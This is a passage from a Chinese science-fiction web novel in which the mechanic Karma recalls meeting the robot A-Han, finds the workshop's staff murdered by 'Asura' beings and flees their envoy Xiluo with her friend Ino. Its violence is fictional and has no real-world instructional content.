见她的操作快得惊人,代码写得飞快,对这系统了若指掌,却又如此年轻,工程师起初还有些小看她,现在才知道为什么克里先生离开前叫他盯仔细些。 “呃,卡玛小姐,可以问问你多大了吗?”他小心翼翼地开口。 “好像快二十一了。”她随口答道,“别跟警察说我吸烟还喝带酒精的饮料。” “那你在十七岁的时候就可以解决这样的问题了?”他有些不敢置信。 “那次我没能解决问题。”卡玛专注地盯着显示屏,“等我发现问题所在,那人的记忆区已经没剩下什么东西了,但幸好他有做记忆备份,虽然缺了一个月,但好过什么都忘记——我从十五岁起开始干这行。” “你觉得,黑杰克他还能复原吗?”他又问。 “看上去他的记忆还在,可能缺了一小部分,但我会尽力挽救。”卡玛说,“等我把他的记忆复制出来,再把脑部更换掉吧,这个脑子被弄成这样修也是白费力气,反正罗摩-III型系统你们这里有的是,不过我建议他最好使用和身体同型号的人造脑。” 工程师除了点头外没有其他反应。 实验室门口传来声响,走进来的是穿着工作服的蝎子。 “如何?”他劈头就问。 “她是天才。”工程师指了指全神贯注写代码的卡玛,摇了摇头。 …… 伊诺的新身体已经弄得差不多了,蝎子已经对其做了外表处理,也将系统调试完毕,接下来要做的就是由卡玛来完成虚拟记忆——将他昏迷后这数小时发生的事输入他的记忆中。 但卡玛感到有些累了,她在黑杰克的脑袋上花了六个小时,完成了主要的工作,剩下的交给了蝎巢里的其他人,蝎子等人对她感激十分,更对她的精湛技术钦佩不已,而她呵欠连连,要了条毯子找了个地方一头栽下去便开始呼呼大睡,连谦虚的功夫都省了。 “她真是不可思议。”那位工程师对蝎子说。 “恐怕除了世界集团的首席设计师希格玛,最好的机械师就是她了。”蝎子点了点头,望着屋里在床上缩成一团的卡玛,“难怪有那么多人想要得到她。” “得到她?” “上面的警察在找她,就连那大公司的人也对她有兴趣。”蝎子说,“他们说她跟‘阿修罗’有关,但我看大概他们是想利用她的能力吧。” “难怪啊……” “怎么?” “我刚才确实听说有人拿着照片在找一个女孩,蓝发蓝眼——看来就是卡玛小姐吧。” “你什么时候听说的?”蝎子警觉地问,“在污染区,有人在找她?” “就在一个半小时前,查克出去办事,说他在回来的路上有个男人在珊侬大街站上了地铁以后就开始问车上的人有没有见过那样的女孩,之后他在下一站加利商场下了车——加利商场离喜玛万公园就只隔了四站而已,中途也没有中转,他很快就会找到这里来吧。” “那家伙什么样?” “身材很高大,一身黑衣,戴着墨镜,样子看上去不错。” 蝎子沉默了一会,说: “告诉老大,叫他派几个人过来,最好带上武器。” “克里先生……” “我得把他们留在这里帮我的忙,其他人想也别想。”蝎子哼了一声,“上面是他们的,可在这污染区,一切我们说了算,最好那家伙识相点,要不然蝎巢旁边偶尔多具死尸也没什么好稀罕的。” 那位工程师点了点头,将手放到太阳穴上轻轻地敲了两下。 “喂?这里是蝎巢。” 天空一片黯然,乌黑的翻滚着的云层中不时地迸出亮光,接着是沉闷的雷声。 这里是个巨大无比的电机垃圾场,摩诃里的城市规模越来越大,垃圾产量也越来越多,一座中型城市,光是报废的电子机械每天就成百上千吨地被运往这种垃圾场,然后再定期批量销毁回收。 下雨了。 忽明忽暗的灯光下,一个约摸十岁大的小女孩趴在堆积如山的废品上。 雨滴在她的小脸蛋上,她被惊醒了。 她费力地睁开眼,一脸茫然地环视四周。 如湖水般纯净的蓝眼中,映射着经由摩诃文明消化过后的渣滓。伴随着阴冷的风、淅淅沥沥的雨和雷电,一切都显得面目狰狞。 她不知道自己在哪里,不知道自己是谁。 这世界除了她一个外,就只剩下这些沉默的废铁了吗?…… 湿漉漉的蓝色发丝贴在额前和两鬓,雨水顺着她的脸往下流淌,小女孩哭了起来,饥饿、惊惶、恐惧而无助,她无所适从。 她身上只披着一块淡绿色的布,看上去就像是一个刚被遗弃的试验品,求生的本能让她找来透明塑胶膜裹在身上,虽然依旧冻得瑟瑟发抖,但总算能避免继续被雨水溅湿。 赤足的小女孩在泥泞的水洼里深一脚浅一脚地走着,她不知道自己要去哪里。周围到处都是七零八落的人类肢体,头颅、手臂、躯干……有些表面已经腐烂,连里面的机械部分也开始锈蚀,有些看上去还比较新,似乎是刚刚被丢弃在这里的,还有些是完整的人体,跟小女孩看起来差不太多,但她知道这些东西跟自己不一样。 这些东西是冷的,它们不会动。 忽然她的视野中出现了一个蓝色的光点。 蓝光很微弱,但在漆黑之中,它不断迟缓地闪烁着,这引起了她的注意。 好奇心驱使她爬上了那个山丘似的垃圾堆,不知为什么,这点萤火般的蓝光令她觉得熟悉而亲切,仿佛那就是她要找的东西,那就是全部问题的答案。 她扒开周围的废品,发现了一个男人的头颅。 他看起来糟透了,半边脸不知所踪,露出了皮肤下的金属,他好像是个机器人,闪烁的蓝光来自那半张机械脸孔上漆黑深陷的眼窝。 看着他满是血污的狰狞模样,小女孩居然并不觉得害怕,她甚至用手轻轻地摸了摸他。 你叫什么名字?……能听见我的声音吗?…… 他好像感觉到了她的存在,慢慢地转动脖颈,面无表情地望着她。他视野里的图像支离破碎,到处都在显示这里或那里出了故障,最严重的问题是系统告诉他他体内的能量已快被用光了。 小女孩继续扒着掩埋他身躯的垃圾,一双稚嫩的手被锐利的金属边缘刮出两条口子,从伤口中渗出了蓝色的血丝,但她没有停下,直到最后把他整个从垃圾堆里挖出来。 他是个巨人,身躯整整是小女孩的好几倍大,躺在废品堆上就像是一座山,他身上的衣物肮脏破烂,到处都是伤,他动弹不得,只是面无表情地,静静地望着她。 我能帮你吗?怎样才能让你站起来?…… 他的手指抽动着,像是要什么东西。 你要什么? 巨人指着某个地方,小女孩顺着那方向望去,看到一截断掉的人造手臂,她把那截手臂捡来塞到他手里,但什么事情也没发生。 他的掌心中央出现了同样的蓝光,小女孩不明所以,但当她无意之中将那截手臂的断面贴在他的掌心上,却突然出现了不可思议的现象。 蓝光顺着奇特的路径沿着他的手臂蔓延到了他的肩膀,再顺着脖子抵达了他的头部,那一瞬间他眼中的蓝光猛地闪了一下,但又立即回复成原先黯淡的状态。 小女孩呆呆地望着那截手臂——它突然瘪了下去,内部的金属支架部分消失了,似乎是被他的手转化为蓝光吸收了一般。 你要吃钢铁?对不对? 他微微地点了点头。 她立即找来其他报废的人造肢体,巨人将其中的金属部分全部转化成了蓝光,这光纹逐渐扩散到他全身,所幸这里的机械垃圾堆积如山,而他也完全不“挑食”,无论是什么样的金属,哪怕锈蚀得厉害他也照单全收,他的视野里显示体内的能量开始缓缓增加,停止运作的身体机能也开始逐渐有恢复运作的迹象。 光凭小女孩的努力,这样一丝一毫地积蓄能量实在太慢了,然而现在除此之外没有其他的办法,她拼命地寻找自己能挪得动里面又包含金属的东西给那巨人,她也不知道自己为什么要这么执着,可她下了决心要帮这个机器人的忙。 不知过了多久,他体内的能量储备终于达到了启动自我修复系统所要求的最低限度,体表的伤痕立即开始愈合,破损的面部也迅速修复再生,显示故障的警报被一一清楚,小女孩依然不断地为他找来金属,当自己的运动系统被修好后,这个巨人便从垃圾堆 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他望着她,随后用手指在地上划着。 H……A……M…… 写完“M”他忽然停住了,犹豫了片刻,又在“H”前面加了个“A”。 阿汉,你叫阿汉? 他点了点头。 那我以后就叫你阿汉吧…… 小女孩忽然垂下头。 你总算还记得自己的名字,可我连自己是谁都不知道。 过了一会,她抬起头,望着他。 阿汉,你能帮我起个名字吗?…… 巨人沉默了一会,随后又用指头在地上写了起来。 K……A……R……M……A 卡玛? 他点了点头。 小女孩又念了几遍,随后她的脸上显出笑容。 我喜欢这个名字,那么我以后就叫卡玛吧——阿汉和卡玛,卡玛和阿汉……你是大铁块,我是小鬼头……嘻…… 她看上去非常开心,居然挥着小拳头去捶阿汉城墙般的膀子,那巨人任由她粘着自己,非常温驯。 他的脸上永远也不会有表情,然而他望着小女孩的眼神,却异常柔和。 卡玛看不到——即使看到了她也不会明白—— 当凝视着卡玛时,阿汉的蓝眼深处,总藏着一丝淡淡的苦涩。 我们会在一起,阿汉不会离开卡玛的,对不对? 她累了,趴在阿汉的臂弯里,小声地问。 她看到那个黑影在点头,恍惚之中仿佛有个低沉的声音在耳边回荡。 我哪里也不会去,卡玛。 …… 卡玛猛地睁开眼。 “阿汉。”她压低声音,小心地呼唤着。 当然不会有人回应。 是梦啊…… 她舔舔干燥的嘴唇,抬起手腕看了眼表。 “妈的。”她低声咒骂。 她竟然睡了那么久。 OK伏在枕边,用湿漉漉的鼻头拱她,见到那小家伙,卡玛摸了摸它的背,OK发出幸福的叫声,她抽动嘴角露出一个笑容——这小家伙总能让她开心,哪怕是现在。 她掀开毯子下了床,地板很凉,她踮着脚尖套上靴子,走进洗手间,拧开水龙头洗了把脸。 她用湿淋淋的手指绞着头发,盯着镜子里的自己,水珠顺着她的眉角和脸庞向下淌。 她睡得不多,每天大概只有六个小时,并且睡眠时间总能控制得很好,然而近来她觉得自己有点奇怪——一个小憩也能占用她数小时的时间,而且她会睡得比以往更沉。 近来只要一合眼,她就会做梦。 所有的梦都与她和阿汉有关——哪怕睁眼就能看到他端正地坐在一旁专心致志地看护着她,她也难以心安。 她不知道这究竟是不是某种暗示。 对于那机械大汉,她从未想过太多,她觉得她和阿汉的相遇是很自然的事情,整整十年来她习惯于他陪伴在自己身边,沉默而忠心耿耿地充当保护人,十年后她长大了,从一个初来乍到惶恐不安的小女孩变成了一个优秀的机械师,她不断积累经验,拥有越来越强的判断力和决断力,早已今非昔比,而阿汉,却还是一如既往,丝毫不曾改变过。 高超的机械技术,不为人知的超能力,她依靠自己生存,凭自己的能力实现愿望,她是坚强的女人——她自己这样认为。 可现在卡玛发现自己还是不够坚强。 阿汉不在身边的时候,她会害怕,会觉得自己孤单寂寞。 无论是在上面,还是在污染区,她都觉得这座巨大的城市和十年前的垃圾场一样,她和当时的那个小女孩都是那么的无助。 卡玛盯着镜子,下定决心。 无论如何,她也要把阿汉救出来。 拎着OK的小笼,她走出房间,来到工作室。 偌大的蝎巢里居然空空荡荡,只有机器运转发出的声音,除此之外一个人都没有。 蝎子和他的人呢? 她又看了看表,已经快到午夜了。 都去休息了吗? 密闭实验室里,躺在工作台上的黑杰克也不见了。 她又走进蝎子的专用工作室,发现伊诺也没了踪影。 卡玛又回到大厅。 正当她疑惑不解的时候,卡玛突然发现脚边有一些硬币大小的圆形暗斑。 灯光并不是很亮,她弯下腰用指尖触碰那暗斑,发现有些粘稠,便放到鼻下小心地嗅了嗅。 是血的气味。 她心里猛地一沉,顿时脑中无数想象中的场面一闪而过。 但当她看到周围躺在工作台上尚未完成修理的人体时,又觉得自己多疑:受伤的人体需要移植人造肢体,当然会出血,而且蝎巢和污染区里的某个很有势力的帮派联系密切,但凡发生帮派冲突,受了伤的人也肯定会送到这里来接受改造吧。 卡玛刚起身,突然感到有什么东西滴在脸上。 同样的腥味立即开始刺激她的鼻腔,这回卡玛明白事情不妙了。 她缓缓抬头,地狱般骇然恐怖的景象立即映入眼帘。 “噢!……” 她捂着嘴,颤声低呼。 蝎巢里几乎所有的人都被悬挂在天花板上,每个人都被砍下头颅,身躯以诡异的姿势扭曲着,活像一尊尊被切下首级的人偶,其中有那位工程师。 灯光的照射下,能看到他们的尸体之间有无数闪亮的细线串联着,尸体上没有血迹,仿佛在被切割前就已被放干了□□,只有个别的似乎处理得不是特别干净,血液会顺着那些细线流淌,最后滴往地面。 卡玛浑身发抖,她感到自己的心脏在紧缩,却奇迹般的没有要反胃的冲动,她知道自己要立即逃,逃离蝎巢,越远越好,可又偏偏不能动——她觉得四面八方都是陷阱,连空气中都有杀人的味道,她知道自己肯定早就被盯上了,可她偏偏什么人也没发现。 不可能是警察,他们不可能查得到蝎巢,而且这种手段一看便知出自杀人魔之手,绝对不会是警察…… 会是希格玛吗? 卡玛紧张地思索着。 不,应该不是他——那个人看起来应该是有洁癖的,理应不会用这么残忍的手段杀人…… 但这也很难说,有时往往看起来越是文质彬彬的家伙出手就越是血腥变态…… “你好。” 厂房里突然有人说话。 她猛地悟住嘴。 那个声音是陌生的,不是希格玛,她从来没有听到这种声音——三个同样的男人声音叠在一起。 “喜欢我们的布置么?” 当那个声音说话时,另外两个声音忽高忽低,但却总能很好与彼此吻合。 声音从四周传来,无法分辨从何处发出。 “我们已找你很久了,卡玛小姐。” 这次的声音是背后传来,卡玛攥紧拳头,鼓足全部勇气猛地转身,同时向声音传来的方向丢出了一个耀眼的蓝色光球! 巨响在厂房中回荡,待爆炸产生的蓝色光纹散开后,卡玛的视线中出现了一个人影。 那是个身材瘦高的年轻男子,他穿着黑色西服,衬衣领部没有系纽扣,脖子上挂着银色吊坠,一头淡紫色的乱发,戴着墨镜。 他的肩膀受了伤,从上衣破损之处能够看到他肩部的伤口中正在流血——如果那种淡蓝色的液体是他的“血液”的话。 对于自己的伤口他无动于衷,淡淡地瞥了一眼,便将视线拉回到卡玛身上。 “果然是很不错的能力。”他用赞许的口吻说。 他的怀中抱着一个人,那人穿着白色的工作服,卡玛心头一凉。 在那些被丝线吊起来的尸体中没有蝎子,她原本以为他能逃过一劫的,但现在看起来,落在这人手中的除了蝎子大概不会再有别人。 “这个是你的朋友?”年轻男子问道。 不等卡玛回答他又径自说了下去:“不过他已经死了。” 说完他摊开左手,一道血线从他怀中男人的后颈射出,聚集在他的掌心,他就好像在抽血一般,直到自己肩上的伤口完全愈合——不可思议的是,连他身上破损的衣物也随之复原了。 他丢开那尸体,卡玛咬着下唇望了过去。 果然是蝎子。 “你为什么要这么做?”卡玛低声问。 “今天在贫民区我想你也看到了。”年轻男子不紧不慢地说着,此时卡玛只听到他身上传来一个人的声音,“那个东西可以吞噬金属将其转化为自身的能量,从而完成修复,而我也拥有同样的能力——只不过能被我转化为能量的不是金属,而是血液。” “所以你把蝎巢里的人全都杀了?” 他抬起眼皮,看了被吊在半空来回晃荡的尸体一眼,摇了摇头。 “那个不是我做的,而是我其中一个兄长的杰作,他对那种锐利的金属丝线很有兴趣,当他还是个雇佣兵的时候就特别喜欢用这个,套在敌人的脖子上轻轻一勒,首级就扑哧一下被切下来了……”年轻男子全无重点地“介绍”着。 “我的另外一位兄长则觉得这种东西用起来很娘娘腔,所以他喜欢用炸弹,但他每次都会把周围炸得一塌糊涂,因此我们都不太愿意让他行动……”他继续念叨,不知是说给卡玛听还是在自言自语,“和我的兄长不一样,我是个性情温和的人,平时我要做的就是把被他们杀掉的人身上的血抽走,不过有的时候我也偶尔会出手的啦。” 终于他看上去好像说完了。 “为什么要告诉我这些?”卡玛问,她的两鬓已湿透了,“你究竟想怎么样?” “还不明白吗?”年轻男子笑了,“我和我的兄长,和你今天在贫民区见到的那东西一样,都是‘阿修罗’呀。” 他随即又补充道: “不过那东西很弱,在帝拜大概也无非是个‘首陀罗’级的阿修罗而已,跟我们相比根本就不在一个档次上。”年轻男人轻描淡写地说,“那种东西成天跑到摩诃来丢人现眼,我们其实也很烦的。” “我根本就不知道你在说什么。”卡玛冷道,“所谓的阿修罗只是从远古时代人们的荒诞想象中衍生出来的神话传说而已!” “现在摩诃里的人所拥有的智慧比以往也高明不到哪里去。”他笑道,“其实我们原本也不相信,直到后来亲眼目睹到了那些‘神话’……” 他忽然看了看表。 “算了,不说那么多了,请随我来,卡玛小姐——明帝大人已经等你很久了。”说完朝她伸出了手。 “等一下!”卡玛朝后退了两步,“我为什么要跟你走?你要把我带到哪里去?……‘明帝’又是谁?!” 年轻男人的身后出现了一束光。 那束光的底端开始逐渐扩张,最后形成了一扇三角形的光之门,强烈的白光射出,将整个厂房照得如同白昼,卡玛不得不垂下头,避开那刺眼的强光。 不……不能就这样被这些人带走! 白光湮没了四周的一切,她又听到了那三个叠在一起的声音。 “为什么?——卡玛小姐,我想你也许还不太了解,其实——” “你和我们——” “是一样的啊。” 7. 第 7 章 光之门中射来的光亮减弱了一些,卡玛渐渐能看清东西了。 门的那一端迷离虚幻,不知究竟通往何处。 “那么,请随我来吧。”年轻男子迈开脚步,向卡玛缓缓走去。 “如果我拒绝呢?”卡玛一边说一边小心地后退。 “将我们派往摩诃之前,明帝大人交待过,你对他来说是很重要的人,因此我不想对卡玛小姐失礼。”他微笑着,并未停下步伐,“但明帝大人同样也预料到你可能会拒绝回到他身边,因此他吩咐我们在万不得已的情况下也可以动用武力,只要能把卡玛小姐的首级封存好带回帝拜,一样算完成任务。” 他的语气轻柔,但卡玛听了,却不禁打了个哆嗦。 想到蝎巢里的人都被轻描淡写地割下首级,抽干了血再吊起来,卡玛就觉得脖子上传来阵阵寒意。 “我是个性情温和的人,不想为难聪明美丽的女孩。”他双手插在裤兜里慢条斯理地说,“可要是与卡玛小姐打交道的是我那两位脾气古怪的兄长,那会发生什么事可就说不准了——可能卡玛小姐的头颅已被割下来了也说不定——” 他的话被空气中的两声锐鸣打断,卡玛又对他发射了两枚蓝色光弹,分别袭向他面部和心脏的位置,然而这次却没有得手,年轻男人微微一笑,他的面前出现了一个淡蓝色的球状光罩,卡玛丢出的光弹与之接触的瞬间便被弹开,两张工作台被击中,他却安然无恙。 卡玛停止后退,目不转睛地盯着他。 “虽然你也具备有趣的能力,但在我们面前是没什么用处的。”他再度向卡玛伸出右手,“来吧,这并不是什么坏事,为什么如此抗拒呢?” “我根本就不是阿修罗!”她一字一句地说,“我不相信阿修罗的存在!” “所以我不会跟你走!” “好像卡玛小姐对自己很了解的样子。”面对她的表态,年轻男子却也不恼。 这种话,这种口气,卡玛并不是第一次听到。 似乎你很了解你的伙伴的样子。 希格玛,还有这家伙,他们究竟知道些什么?! “难道卡玛小姐从来没有觉得,自己与这世上的人类相比有什么不同吗?——在我们看来,那个大个子根本就是个如假包换的阿修罗嘛……应该是‘吠舍’级别的,所以才会那么轻易地消灭贫民区里的那个家伙。”他很轻易地捕捉到卡玛脸上一闪而过的困惑,“等见到明帝大人,相信长期困扰你的一切疑问都会得到解答——知道自己是谁,知道自己为何会拥有那种力量,知道自己还有怎样的潜力——那边全都是和你一样的人,与能够理解你、接受你的人相处在一起,难道不比待在这里受人猜测排挤好吗?” 见卡玛低头不语,他又加强攻势: “我在贫民区都看到了,你和你的同伴救了那些警察和市民,他们非但不感激,还要把你抓起来,所到之处你们面对的都是畏惧的眼神,你们帮助那些人类,可无论如何与人为善,却依然没有人领情,这样的生活有什么意义呢?”他说,“只要你随我去见明帝大人,要把你的同伴救出来不过是举手之劳,你们可以继续在一起,无忧无虑自由自在,这不是很好吗?” 卡玛突然笑了。 “我需要考虑一下。” 年轻男子正要开口,她又道: “我已经考虑好了。” “那么,你决定和我们走了?”他用期待的口吻问。 “很遗憾。”卡玛摇了摇头,“答案是不。” “这似乎不是预期中的理想回答呀。”男子嘀咕着。 “我喜欢自己做出选择并且身体力行。”卡玛看上去非常冷静,“我喜欢依靠自己的能力按照自己的方式解答疑问,而我知道你和你口中的那位‘明帝大人’另有图谋,所以我不信任你们,也不会跟你走——这就是我的回答。” “很多时候,很多事情不是‘喜欢’就能够解决的。”年轻男子的表情看上去有些担忧,“你有个性,可我还是觉得你接受我的提议比较好,否则……” 你废话太多了,西洛! 突然两个洪亮如雷的男人声音打断了他的话,卡玛只觉得耳际嗡鸣阵阵,甚至还有些眩晕。 如果是我的话,早就割下她的头带回去了! ……很想现在就把这里全炸掉呀。 “库巴,那塔。”被那两个重叠在一起的声音称为西洛的年轻男子叹了口气。 “安静些,可以吗?” 见那两个声音没了回应,他便继续对卡玛说: “在我那两位坏脾气的兄长失去耐性前,我认为你最好改变主意。” 说到这里他压低声音。 “否则我就不能保证你会被‘完整’地带到明帝大人面前了——哦,卡玛小姐,你在做什么?” 卡玛将手放在自己前额上。 “如果我死了呢?” 她的手发出蓝光。 “我的力量伤不到你,但却能击穿自己的头骨。”卡玛冷笑道,“似乎我的脑子很重要,要是我自杀,在你们封存我的头颅之前便已脑死亡了呢?” 年轻男子没有说话,当他正要移动脚步时,女孩厉声喝道: “别过来!我认真的!——” 她睁大双眼,表情坚定,手上的光将她的脸都映成蓝色。 “你会吗?”西洛有些不解,“有这个必要吗?” “你可以试试。”卡玛用嘲讽的口气说,“我死了你们便完不成任务,这样会对你们很不利吧?” 西洛愣了愣,他抚了抚额前的发丝,轻轻地摇了摇头。 “卡玛小姐,我几乎被你唬住了。” “……在那群好管闲事的家伙的帮助下,摩诃现在的科技已经发展到相当高的水平,高级的思维复制术不光可以备份记忆,甚至连灵魂都可以通过电子的方式存在于□□之外……病痛、意外或是寿命原因导致□□毁坏后,利用人造人体就可以得到补偿——思维复制和人造人体成了人类不断延续自己存在的最有效的方式……”西洛微笑着说,“做为摩诃最为优秀的机械师,卡玛小姐想必早就将自己的灵魂做好备份,也准备好了用来替换的身体以防万一吧?就算在这里自杀,也可以稍后复活,付出的代价不过是自己原来的□□而已——我说的对吗?” 该死…… “似乎我说对了。”西洛摘下墨镜,用那双同样是淡紫色的眼瞳注视着面前的女孩,“然而,那位从来便不离你左右的阿修罗护卫,不是和你的宝贝卡车一起被扣在警察局里了么?只身逃出来的你,又有什么方法能够死后重生呢?——我们不妨假设你会通过一些手段来进行遥控,但我可以告诉卡玛小姐,当我们进入污染区找到蝎巢的同时,明帝大人已经派了其他人去寻找你的卡车和那个阿修罗了,因此无论如何,最后你还是会跟我们走的。” 说完,西洛重新迈开脚步朝卡玛走去——她已被断了所有退路,就算她真的自杀,也不过是将功劳让给其他人而已。 “你不要过来!” 卡玛再度发出警告,可在西洛听来已没有任何威胁力可言。 就在这时,突然一个东西从她身后闪出,在空中划出一道弧线,朝西洛飞去。 叮—— 那个硬币大小的蛋状物体在地上弹跳着,落到了西洛脚边。 “唔?” 它的外壳忽然张开,内部有一个红色光点在不断闪烁。 是炸弹! 当红点的闪烁频率达到最高时,西洛淡紫色的眼眯成了一条缝。 嘀—— 一声巨响,整个厂房内顿时火光冲天,剧烈爆炸产生的冲击波震塌了蝎巢顶部,安放人造人体的冷冻柜瞬间就被毁了大半,其余的也在熊熊大火中一个接着一个地爆裂,躺在工作台上等着接受肢体移植的人在毫无意识的情况下,与尸体一起被炸成了灰。 卡玛被强大的气浪推了出去,重重地撞在墙上。 她只觉得自己全身的骨头都在咯吱作响,但她还是勉力站了起来。 她突然感到自己的肩膀被拍了一下,她吓得刚要惊声尖叫,一只手及时地捂住了她的嘴。 “别叫,是我……呜——” 身后的男人还没来得及把话说完腹部便挨了卡玛一肘,他放开手,抱着肚子弯下腰,卡玛又飞起一脚踢在他的膝盖上,紧接着连续两脚把那男人踹倒在地,她看看四周,然后从地上抄起一把消防斧,两眼紧盯着那人的脖子。 “等……等等!等等!——”男人急得连连低叫,“卡玛,是我!——” 听着那声音,卡玛停了下来,定睛一看,却是又惊又喜。 “伊诺?……是你吗,伊诺?” “不是我还会是谁……我的天呀,你知道你下手有多重吗?”伊诺抱怨着从地上爬起来,“要不是我在用人造人体,现在恐怕就站不起来了——咦,你这是干什么?” 卡玛后退两步,将斧头横在身前。 “我怎么知道你是不是真的伊诺?”她冷冷地说,“蝎巢里全部的人都死了,为什么只有你还活着?” 伊诺大皱其眉:“蝎子帮我更换了新的身体,当我醒过来时他跟我说了两句话外面就传来动静,他跑去查看究竟,我刚刚启动新身体一时还无法完全自由行动,所以才一直待在实验室里……等到我能行动后才发现他们已全被杀了——卡玛,相信我!” 卡玛盯着他的眼睛。 见她一脸狐疑,伊诺急得直跳。 “小姐,你看够了吗?我知道我很帅,可现在我们能不能先逃命?” 卡玛把心一横。 “我们走。” “呼呼,谢天谢地。”伊诺松了口气,双手合十嘀咕着,“谢……” “还谢什么?快走吧!”卡玛扯着他的衣领。 两人没跑几步,卡玛却突然停下来。 “又怎么了?”伊诺哭丧着脸,“卡玛,我对天发誓我是真的……” “OK。”卡玛回头四下张望,“OK——” “OK不见了?”伊诺拍拍脑门,“卡玛,它不是一直跟着你的吗?……” “刚才我一直拎着笼子,但爆炸时我松了手……该死的,那小家伙在哪里?……”卡玛飞快地搜寻凌乱的地面,但到处一片狼藉,四周尘土飞扬火光熊熊,哪还找得到一只不起眼的小银貂? 卡玛小姐,不要做无意义的事。 “卡玛,我们得走了。”伊诺紧张地提醒她。 “我必须得找到OK。”卡玛同样心急如焚,“我不能把它一个人丢在这……天,快出来,OK,别玩了——” 我们的目的并不是要伤害你,所以希望你能够理解,倘若你继续一意孤行,恐怕大家都会很为难的吧。 卡玛被伊诺抓住肩膀,从地上用力扯起来。 “卡玛,OK是你的宝贝,也是我的。”伊诺的态度从未这样强硬过,“你是有主意的女人,但这次,但现在,你得听我的——我们必须马上走!OK小家伙有大福,不会有事的!”说完抓着她就跑,卡玛心乱如麻,但还是跟着伊诺逃走了。 …… 西洛的身体悬浮在半空中,他的脚下是一个半径约摸十二米的盾型圆坑。 他依然双手插兜,神情漠然,撤销了身体周围的球状防护光罩,落地后若无其事地朝厂房的出口踱去。 刚才的爆炸中他没被伤及分毫,能量盾的保护下,身上灰尘未沾。 两个粗豪的声音向他抱怨。 西洛,根本就没必要说那么多呀,你看,这不是让她逃掉了吗? 要是我来做的话,早就干净漂亮地摆平了,哪还用得着这么费劲! “你们两个傻瓜,做事就只知道用肌肉不会动脑子。”虽然西洛称呼那两个声音为“兄长”,但语气充满威严,像是在对手下说话。 你说什么?西洛,你再说一次?! 动脑子?嘿嘿,别说笑了——这就是你脑子动出来的结果,人没到手还弄得一团乱,要是我出手,不一样能炸平这里? “你们根本就不明白那女孩对明帝来说有多重要。”西洛冷笑道,“所谓的万不得已将头颅封存好送回去,正如明帝交待的那样,是‘万不得已’,是实在没辙才用的下下策,若要把那女孩的头颅割下来还用得着我们出马?随便哪个吠舍——就连一个稍微不那么蹩脚的首陀罗也能做到,把她的人头带回去只会令明帝觉得我们无能。” …… 说得好像也有点道理。 “库巴,那塔。”西洛淡然道,“你们觉得这样一来,明帝还有可能让我们晋级为婆罗门么?” 不等那两个声音回话,他又接道: “显然不可能,要得到明帝的赏识,才能脱颖而出,因此这次的行动必须成功。”他微微一笑,“接下来一切都由我来指挥,如果因为你们的莽撞而坏事,我会很生气——即使是对我亲爱的哥哥。” 哼,随你的便吧! 好像有人把那女孩带走了,你能找到他们么? “小意思。” 西洛扬长而去,身后留下的是土崩瓦裂的蝎巢。 瓦砾中有个扭曲变形的小铁笼,里面空空如也。 忽然铁笼旁的石板缝中钻出了一只灰蒙蒙的东西。 它努力地抖着身上的尘土,冷不防一个黑影靠近了它,警觉的小东西刚要逃跑,就被一只大手捉住了。 它吱吱地叫着,胡乱挣扎,直到那个人轻轻地抚摸它的脑瓜才安静了些。 “嘘……嘘……别怕别怕。”一个男人的声音响起,“小家伙,还记得我吗?我曾经在地铁上见过你们呢。” 银貂果然认出了来人,开始亲昵地用头去蹭他的手掌。 “可怜的小家伙,你怎么一个人被丢在这垃圾堆里?”男人低声问,“你的主人呢?那个蓝眼睛的女孩在哪里?” 男人微微垂下头,一双黄金之瞳越过墨镜凝视着掌心里的小银貂。 “我对你的主人没有恶意,现在她很可能遇到了麻烦,我必须尽快找到她,否则可能会有严重后果,明白了吗?” 他默视着它,似乎是在聆听银貂的话。 “有奇怪的人也在找她?”男人的眉头一皱。 突然附近传来巨响,男人脸色一沉,将银貂放到肩上。 “抓紧了,小家伙。”他低声嘱咐了一句,迈开大步风一般地消失了。 “这样是没用的。” 西洛消除了防护光盾,继续向面前的男女逼近。 “你应该很清楚,这种距离再使用那炸弹,不仅伤不到我,反而会将你们自己炸得粉身碎骨吧?”西洛盯着伊诺,“在贫民区我见过你——你就是被那个阿修罗砍下头颅的男人,虽然身体大部分似乎都已改造过,但能有那样的勇气也非常值得称赞。” “……”伊诺将卡玛挡在身后,他们与对方始终保持着十米左右的距离,然而此时这个间隔正在不断缩小,因为他们身后已无退路。 “你似乎与卡玛小姐关系密切。”西洛说,“但我还是认为你让卡玛小姐随我们走会比较好——无论是对她还是对你。” 卡玛紧贴着伊诺的背,她已能感受到身后刮来的冷风——他们慌不择路,逃进蝎巢附近一座废弃商厦,而现在他们所处的位置正是这栋双子星建筑中央连通的空中走廊。 大概是因为年久失修,也可能是因为污染区的帮派争斗,这条空中走廊中间已经断裂,他们若再往后退,就会从上百米的高空跌落,哪怕是身体经过改造的伊诺,从这个高度直接落到地面也一定会粉身碎骨,剧烈的震荡会导致他的脑部严重损坏,更不要说是血肉之躯的卡玛了。 天桥的断口宽达十余米,伊诺不可能带着卡玛跳过去。 卡玛用手捂住口鼻,避免吸入太多的粉尘和有毒气体,但她裸露在外的皮肤依然不可避免地受到了污染区空气的侵蚀,她感到毛孔像是被什么东西钻入一般,奇痒无比,但她却又不能去抓去挠,万一弄成皮下组织出血会更加麻烦, 她咬牙硬挺,眼角的余光扫到身后,只见脚跟下黑漆漆的一片,污浊的气流在半空迂回,简直犹如无底深渊,眩晕之余不禁身体有些摇摇欲坠,伊诺死死地抓住她的手臂,避免她失足跌落。 “卡玛,如果我们现在跳下去会怎么样?” 伊诺在她耳边低语,卡玛惊愕地望着他。 “你疯了!”她咬紧嘴唇。 “不,我没疯。”伊诺说,“以我的身体为铺垫作缓冲,你应该不会有事,别忘了我的身体随时都能更换的。”说着他偷偷朝卡玛手心里塞了个什么东西。 卡玛一看,发现那是一块指甲盖大小的芯片。 “蝎子那家伙把我的记忆重新备份过。”伊诺掩住她的手,“卡玛,如果你能逃出去,就去找具人造人体,用这芯片将我复活,不会有事的。” 卡玛知道伊诺是认真的了。 然而就在她开始飞快地考虑这方案的可行性时,西洛的声音又从前方传来。 “真令人感动。”西洛蹙了蹙眉。 “这位先生,你的计划确实很有可行性,但你似乎忽略了一点,我们现在正身处污染区。” 伊诺一愣,随后无比懊丧地拍了拍脑门。 